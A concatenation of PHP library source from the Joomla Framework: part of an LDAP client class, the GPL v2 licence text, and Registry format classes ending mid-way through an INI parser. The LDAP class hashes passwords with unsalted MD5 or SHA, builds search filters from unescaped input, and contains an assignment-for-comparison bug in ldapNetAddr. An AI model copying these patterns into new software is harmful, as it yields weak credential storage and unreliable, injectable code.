			$this->dn = $username;
		}
		elseif (\strlen($username))
		{
			$this->dn = str_replace('[username]', $username,
$this->users_dn);
		}
		else
		{
			$this->dn = '';
		}
	}

	/**
	 * Get the configured DN
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public function getDn()
	{
		return $this->dn;
	}

	/**
	 * Anonymously binds to LDAP directory
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function anonymous_bind()
	{
		if (!$this->isConnected())
		{
			if (!$this->connect())
			{
				return false;
			}
		}

		$this->isBound = ldap_bind($this->resource);

		return $this->isBound;
	}

	/**
	 * Binds to the LDAP directory
	 *
	 * @param   string  $username  The username
	 * @param   string  $password  The password
	 * @param   string  $nosub     ...
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function bind($username = null, $password = null, $nosub = 0)
	{
		if (!$this->isConnected())
		{
			if (!$this->connect())
			{
				return false;
			}
		}

		if ($username === null)
		{
			$username = $this->username;
		}

		if ($password === null)
		{
			$password = $this->password;
		}

		$this->setDn($username, $nosub);

		$this->isBound = ldap_bind($this->resource, $this->getDn(),
$password);

		return $this->isBound;
	}

	/**
	 * Unbinds from the LDAP directory
	 *
	 * @return  boolean
	 *
	 * @since   1.3.0
	 */
	public function unbind()
	{
		if ($this->isBound && $this->resource &&
\is_resource($this->resource))
		{
			return ldap_unbind($this->resource);
		}

		return true;
	}

	/**
	 * Perform an LDAP search using comma separated search strings
	 *
	 * @param   string  $search  search string of search values
	 *
	 * @return  array  Search results
	 *
	 * @since   1.0
	 */
	public function simple_search($search)
	{
		$results = explode(';', $search);

		foreach ($results as $key => $result)
		{
			$results[$key] = '(' . $result . ')';
		}

		return $this->search($results);
	}

	/**
	 * Performs an LDAP search
	 *
	 * @param   array   $filters     Search Filters (array of strings)
	 * @param   string  $dnoverride  DN Override
	 * @param   array   $attributes  An array of attributes to return (if
empty, all fields are returned).
	 *
	 * @return  array  Multidimensional array of results
	 *
	 * @since   1.0
	 */
	public function search(array $filters, $dnoverride = null, array
$attributes = array())
	{
		$result = array();

		if (!$this->isBound || !$this->isConnected())
		{
			return $result;
		}

		if ($dnoverride)
		{
			$dn = $dnoverride;
		}
		else
		{
			$dn = $this->base_dn;
		}

		foreach ($filters as $searchFilter)
		{
			$searchResult = ldap_search($this->resource, $dn, $searchFilter,
$attributes);

			if ($searchResult && ($count =
ldap_count_entries($this->resource, $searchResult)) > 0)
			{
				for ($i = 0; $i < $count; $i++)
				{
					$result[$i] = array();

					if (!$i)
					{
						$firstentry = ldap_first_entry($this->resource, $searchResult);
					}
					else
					{
						$firstentry = ldap_next_entry($this->resource, $firstentry);
					}

					// Load user-specified attributes
					$attributeResult = ldap_get_attributes($this->resource,
$firstentry);

					// LDAP returns an array of arrays, fit this into attributes result
array
					foreach ($attributeResult as $ki => $ai)
					{
						if (\is_array($ai))
						{
							$subcount        = $ai['count'];
							$result[$i][$ki] = array();

							for ($k = 0; $k < $subcount; $k++)
							{
								$result[$i][$ki][$k] = $ai[$k];
							}
						}
					}

					$result[$i]['dn'] = ldap_get_dn($this->resource,
$firstentry);
				}
			}
		}

		return $result;
	}

	/**
	 * Replace attribute values with new ones
	 *
	 * @param   string  $dn         The DN which contains the attribute you
want to replace
	 * @param   string  $attribute  The attribute values you want to replace
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function replace($dn, $attribute)
	{
		if (!$this->isBound || !$this->isConnected())
		{
			return false;
		}

		return ldap_mod_replace($this->resource, $dn, $attribute);
	}

	/**
	 * Modify an LDAP entry
	 *
	 * @param   string  $dn         The DN which contains the attribute you
want to modify
	 * @param   string  $attribute  The attribute values you want to modify
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function modify($dn, $attribute)
	{
		if (!$this->isBound || !$this->isConnected())
		{
			return false;
		}

		return ldap_modify($this->resource, $dn, $attribute);
	}

	/**
	 * Delete attribute values from current attributes
	 *
	 * @param   string  $dn         The DN which contains the attribute you
want to remove
	 * @param   string  $attribute  The attribute values you want to remove
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function remove($dn, $attribute)
	{
		if (!$this->isBound || !$this->isConnected())
		{
			return false;
		}

		return ldap_mod_del($this->resource, $dn, $attribute);
	}

	/**
	 * Compare value of attribute found in entry specified with DN
	 *
	 * @param   string  $dn         The DN which contains the attribute you
want to compare
	 * @param   string  $attribute  The attribute whose value you want to
compare
	 * @param   string  $value      The value you want to check against the
LDAP attribute
	 *
	 * @return  boolean|integer  Boolean result of the comparison or -1 on
error
	 *
	 * @since   1.0
	 */
	public function compare($dn, $attribute, $value)
	{
		if (!$this->isBound || !$this->isConnected())
		{
			return false;
		}

		return ldap_compare($this->resource, $dn, $attribute, $value);
	}

	/**
	 * Read attributes of a given DN
	 *
	 * @param   string  $dn  The DN of the object you want to read
	 *
	 * @return  array|boolean  Array of attributes for the given DN or boolean
false on failure
	 *
	 * @since   1.0
	 */
	public function read($dn)
	{
		if (!$this->isBound || !$this->isConnected())
		{
			return false;
		}

		$base   = substr($dn, strpos($dn, ',') + 1);
		$cn     = substr($dn, 0, strpos($dn, ','));
		$result = ldap_read($this->resource, $base, $cn);

		if ($result === false)
		{
			return false;
		}

		return ldap_get_entries($this->resource, $result);
	}

	/**
	 * Delete an entry from a directory
	 *
	 * @param   string  $dn  The DN of the object you want to delete
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function delete($dn)
	{
		if (!$this->isBound || !$this->isConnected())
		{
			return false;
		}

		return ldap_delete($this->resource, $dn);
	}

	/**
	 * Add entries to LDAP directory
	 *
	 * @param   string  $dn       The DN where you want to put the object
	 * @param   array   $entries  An array of arrays describing the object to
add
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function create($dn, array $entries)
	{
		if (!$this->isBound || !$this->isConnected())
		{
			return false;
		}

		return ldap_add($this->resource, $dn, $entries);
	}

	/**
	 * Add attribute values to current attributes
	 *
	 * @param   string  $dn     The DN of the entry to add the attribute
	 * @param   array   $entry  An array of arrays with attributes to add
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function add($dn, array $entry)
	{
		if (!$this->isBound || !$this->isConnected())
		{
			return false;
		}

		return ldap_mod_add($this->resource, $dn, $entry);
	}

	/**
	 * Modify the name of an entry
	 *
	 * @param   string   $dn           The DN of the entry at the moment
	 * @param   string   $newdn        The DN of the entry should be (only
cn=newvalue)
	 * @param   string   $newparent    The full DN of the parent (null by
default)
	 * @param   boolean  $deleteolddn  Delete the old values (default)
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function rename($dn, $newdn, $newparent, $deleteolddn)
	{
		if (!$this->isBound || !$this->isConnected())
		{
			return false;
		}

		return ldap_rename($this->resource, $dn, $newdn, $newparent,
$deleteolddn);
	}

	/**
	 * Escape a string
	 *
	 * @param   string   $value   The subject string
	 * @param   string   $ignore  Characters to ignore when escaping.
	 * @param   integer  $flags   The context the escaped string will be used
in LDAP_ESCAPE_FILTER or LDAP_ESCAPE_DN
	 *
	 * @return  string
	 *
	 * @since   1.2.0
	 */
	public function escape($value, $ignore = '', $flags = 0)
	{
		return ldap_escape($value, $ignore, $flags);
	}

	/**
	 * Return the LDAP error message of the last LDAP command
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public function getErrorMsg()
	{
		if (!$this->isBound || !$this->isConnected())
		{
			return '';
		}

		return ldap_error($this->resource);
	}

	/**
	 * Check if the connection is established
	 *
	 * @return  boolean
	 *
	 * @since   1.3.0
	 */
	public function isConnected()
	{
		return $this->resource && \is_resource($this->resource);
	}

	/**
	 * Converts a dot notation IP address to net address (e.g. for Netware,
etc)
	 *
	 * @param   string  $ip  IP Address (e.g. xxx.xxx.xxx.xxx)
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public static function ipToNetAddress($ip)
	{
		$parts   = explode('.', $ip);
		$address = '1#';

		foreach ($parts as $int)
		{
			$tmp = dechex($int);

			if (\strlen($tmp) != 2)
			{
				$tmp = '0' . $tmp;
			}

			$address .= '\\' . $tmp;
		}

		return $address;
	}

	/**
	 * Extract readable network address from the LDAP encoded networkAddress
attribute.
	 *
	 * Please keep this document block and author attribution in place.
	 *
	 * Novell Docs, see:
http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk5624.html#sdk5624
	 * for Address types:
http://developer.novell.com/ndk/doc/ndslib/index.html?page=/ndk/doc/ndslib/schm_enu/data/sdk4170.html
	 * LDAP Format, String:
	 * taggedData = uint32String "#" octetstring
	 * byte 0 = uint32String = Address Type: 0= IPX Address; 1 = IP Address
	 * byte 1 = char = "#" - separator
	 * byte 2+ = octetstring - the ordinal value of the address
	 * Note: with eDirectory 8.6.2, the IP address (type 1) returns
	 * correctly, however, an IPX address does not seem to.  eDir 8.7 may
correct this.
	 * Enhancement made by Merijn van de Schoot:
	 * If addresstype is 8 (UDP) or 9 (TCP) do some additional parsing like
still returning the IP address
	 *
	 * @param   string  $networkaddress  The network address
	 *
	 * @return  array
	 *
	 * @author  Jay Burrell, Systems & Networks, Mississippi State
University
	 * @since   1.0
	 */
	public static function ldapNetAddr($networkaddress)
	{
		$addr     = '';
		$addrtype = (int) substr($networkaddress, 0, 1);

		// Throw away bytes 0 and 1 which should be the addrtype and the
"#" separator
		$networkaddress = substr($networkaddress, 2);

		if (($addrtype == 8) || ($addrtype = 9))
		{
			// TODO 1.6: If UDP or TCP, (TODO fill addrport and) strip portnumber
information from address
			$networkaddress = substr($networkaddress, (\strlen($networkaddress) -
4));
		}

		$addrtypes = array(
			'IPX',
			'IP',
			'SDLC',
			'Token Ring',
			'OSI',
			'AppleTalk',
			'NetBEUI',
			'Socket',
			'UDP',
			'TCP',
			'UDP6',
			'TCP6',
			'Reserved (12)',
			'URL',
			'Count',
		);

		$len = \strlen($networkaddress);

		if ($len > 0)
		{
			for ($i = 0; $i < $len; $i++)
			{
				$byte = substr($networkaddress, $i, 1);
				$addr .= \ord($byte);

				if (($addrtype == 1) || ($addrtype == 8) || ($addrtype = 9))
				{
					// Dot separate IP addresses...
					$addr .= '.';
				}
			}

			if (($addrtype == 1) || ($addrtype == 8) || ($addrtype = 9))
			{
				// Strip last period from end of $addr
				$addr = substr($addr, 0, \strlen($addr) - 1);
			}
		}
		else
		{
			$addr .= 'Address not available.';
		}

		return array('protocol' => $addrtypes[$addrtype],
'address' => $addr);
	}

	/**
	 * Generates a LDAP compatible password
	 *
	 * @param   string  $password  Clear text password to encrypt
	 * @param   string  $type      Type of password hash, either md5 or SHA
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	public static function generatePassword($password, $type =
'md5')
	{
		switch (strtolower($type))
		{
			case 'sha':
				return '{SHA}' . base64_encode(pack('H*',
sha1($password)));

			case 'md5':
			default:
				return '{MD5}' . base64_encode(pack('H*',
md5($password)));
		}
	}
}
GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<?php
/**
 * Part of the Joomla Framework Registry Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Registry;

/**
 * Abstract Format for Registry
 *
 * @since       1.0
 * @deprecated  2.0  Format objects should directly implement the
FormatInterface
 */
abstract class AbstractRegistryFormat implements FormatInterface
{
	/**
	 * @var    AbstractRegistryFormat[]  Format instances container.
	 * @since  1.0
	 * @deprecated  2.0  Object caching will no longer be supported
	 */
	protected static $instances = array();

	/**
	 * Returns a reference to a Format object, only creating it
	 * if it doesn't already exist.
	 *
	 * @param   string  $type     The format to load
	 * @param   array   $options  Additional options to configure the object
	 *
	 * @return  AbstractRegistryFormat  Registry format handler
	 *
	 * @deprecated  2.0  Use Factory::getFormat() instead
	 * @since   1.0
	 * @throws  \InvalidArgumentException
	 */
	public static function getInstance($type, array $options = array())
	{
		return Factory::getFormat($type, $options);
	}
}
<?php
/**
 * Part of the Joomla Framework Registry Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Registry;

/**
 * Factory class to fetch Registry objects
 *
 * @since  1.5.0
 */
class Factory
{
	/**
	 * Format instances container - for backward compatibility with
AbstractRegistryFormat::getInstance().
	 *
	 * @var    FormatInterface[]
	 * @since  1.5.0
	 * @deprecated  2.0  Object caching will no longer be supported
	 */
	protected static $formatInstances = array();

	/**
	 * Returns an AbstractRegistryFormat object, only creating it if it
doesn't already exist.
	 *
	 * @param   string  $type     The format to load
	 * @param   array   $options  Additional options to configure the object
	 *
	 * @return  FormatInterface  Registry format handler
	 *
	 * @since   1.5.0
	 * @throws  \InvalidArgumentException
	 */
	public static function getFormat($type, array $options = array())
	{
		// Sanitize format type.
		$type = strtolower(preg_replace('/[^A-Z0-9_]/i', '',
$type));

		/*
		 * Only instantiate the object if it doesn't already exist.
		 * @deprecated 2.0 Object caching will no longer be supported, a new
instance will be returned every time
		 */
		if (!isset(self::$formatInstances[$type]))
		{
			$localNamespace = __NAMESPACE__ . '\\Format';
			$namespace      = isset($options['format_namespace']) ?
$options['format_namespace'] : $localNamespace;
			$class          = $namespace . '\\' . ucfirst($type);

			if (!class_exists($class))
			{
				// Were we given a custom namespace?  If not, there's nothing else
we can do
				if ($namespace === $localNamespace)
				{
					throw new \InvalidArgumentException(sprintf('Unable to load
format class for type "%s".', $type), 500);
				}

				$class = $localNamespace . '\\' . ucfirst($type);

				if (!class_exists($class))
				{
					throw new \InvalidArgumentException(sprintf('Unable to load
format class for type "%s".', $type), 500);
				}
			}

			self::$formatInstances[$type] = new $class;
		}

		return self::$formatInstances[$type];
	}
}
<?php
/**
 * Part of the Joomla Framework Registry Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Registry\Format;

use Joomla\Registry\AbstractRegistryFormat;
use Joomla\Utilities\ArrayHelper;
use stdClass;

/**
 * INI format handler for Registry.
 *
 * @since  1.0
 */
class Ini extends AbstractRegistryFormat
{
	/**
	 * Default options array
	 *
	 * @var    array
	 * @since  1.3.0
	 */
	protected static $options = array(
		'supportArrayValues' => false,
		'parseBooleanWords'  => false,
		'processSections'    => false,
	);

	/**
	 * A cache used by stringToObject.
	 *
	 * @var    array
	 * @since  1.0
	 */
	protected static $cache = array();

	/**
	 * Converts an object into an INI formatted string
	 * - Unfortunately, there is no way to have ini values nested further than
two
	 * levels deep.  Therefore we will only go through the first two levels of
	 * the object.
	 *
	 * @param   object  $object   Data source object.
	 * @param   array   $options  Options used by the formatter.
	 *
	 * @return  string  INI formatted string.
	 *
	 * @since   1.0
	 */
	public function objectToString($object, $options = array())
	{
		$options            = array_merge(self::$options, $options);
		$supportArrayValues = $options['supportArrayValues'];

		$local  = array();
		$global = array();

		$variables = get_object_vars($object);

		$last = \count($variables);

		// Assume that the first element is in section
		$inSection = true;

		// Iterate over the object to set the properties.
		foreach ($variables as $key => $value)
		{
			// If the value is an object then we need to put it in a local section.
			if (\is_object($value))
			{
				// Add an empty line if previous string wasn't in a section
				if (!$inSection)
				{
					$local[] = '';
				}

				// Add the section line.
				$local[] = '[' . $key . ']';

				// Add the properties for this section.
				foreach (get_object_vars($value) as $k => $v)
				{
					if (\is_array($v) && $supportArrayValues)
					{
						$assoc = ArrayHelper::isAssociative($v);

						foreach ($v as $arrayKey => $item)
						{
							$arrayKey = $assoc ? $arrayKey : '';
							$local[]  = $k . '[' . $arrayKey . ']=' .
$this->getValueAsIni($item);
						}
					}
					else
					{
						$local[] = $k . '=' . $this->getValueAsIni($v);
					}
				}

				// Add empty line after section if it is not the last one
				if (--$last !== 0)
				{
					$local[] = '';
				}
			}
			elseif (\is_array($value) && $supportArrayValues)
			{
				$assoc = ArrayHelper::isAssociative($value);

				foreach ($value as $arrayKey => $item)
				{
					$arrayKey = $assoc ? $arrayKey : '';
					$global[] = $key . '[' . $arrayKey . ']=' .
$this->getValueAsIni($item);
				}
			}
			else
			{
				// Not in a section so add the property to the global array.
				$global[]  = $key . '=' . $this->getValueAsIni($value);
				$inSection = false;
			}
		}

		return implode("\n", array_merge($global, $local));
	}

	/**
	 * Parse an INI formatted string and convert it into an object.
	 *
	 * @param   string  $data     INI formatted string to convert.
	 * @param   array   $options  An array of options used by the formatter,
or a boolean setting to process sections.
	 *
	 * @return  object   Data object.
	 *
	 * @since   1.0
	 */
	public function stringToObject($data, array $options = array())
	{
		$options = array_merge(self::$options, $options);

		// Check the memory cache for already processed strings.
		$hash = md5($data . ':' . (int)
$options['processSections']);

		if (isset(self::$cache[$hash]))
		{
			return self::$cache[$hash];
		}

		// If no lines present just return the object.
		if (empty($data))
		{
			return new stdClass;
		}

		$obj     = new stdClass;
		$section = false;
		$array   = false;
		$lines   = explode("\n", $data);

		// Process the lines.
		foreach ($lines as $line)
		{
			// Trim any unnecessary whitespace.
			$line = trim($line);

			// Ignore empty lines and comments.
			if (empty($line) || ($line[0] === ';'))
			{
				continue;
			}

			if ($options['processSections'])
			{
				$length = \strlen($line);

				// If we are processing sections and the line is a section add the
object and continue.
				if ($line[0] === '[' && ($line[$length - 1] ===
']'))
				{
					$section       = substr($line, 1, $length - 2);
					$obj->$section = new stdClass;

					continue;
				}
			}
			elseif ($line[0] === '[')
			{
				continue;
			}

			// Check that an equal sign exists and is not the first character of the
line.
			if (!strpos($line, '='))
			{
				// Maybe throw exception?
				continue;
			}

			// Get the key and value for the line.
			list($key, $value) = explode('=', $line, 2);

			// If we have an array item
			if (substr($key, -1) === ']' && ($openBrace =
strpos($key, '[', 1)) !== false)
			{
				if ($options['supportArrayValues'])
				{
					$array    = true;
					$arrayKey = substr($key, $openBrace + 1, -1);

					// If we have a multi-dimensional array or malformed key
					if (strpos($arrayKey, '[') !== false || strpos($arrayKey,
']') !== false)
					{
						// Maybe throw exception?
						continue;
					}

					$key = substr($key, 0, $openBrace);
				}
				else
				{
					continue;
				}
			}

			// Validate the key.
			if (preg_match('/[^A-Z0-9_]/i', $key))
			{
				// Maybe throw exception?
				continue;
			}

			// If the value is quoted then we assume it is a string.
			$length = \strlen($value);

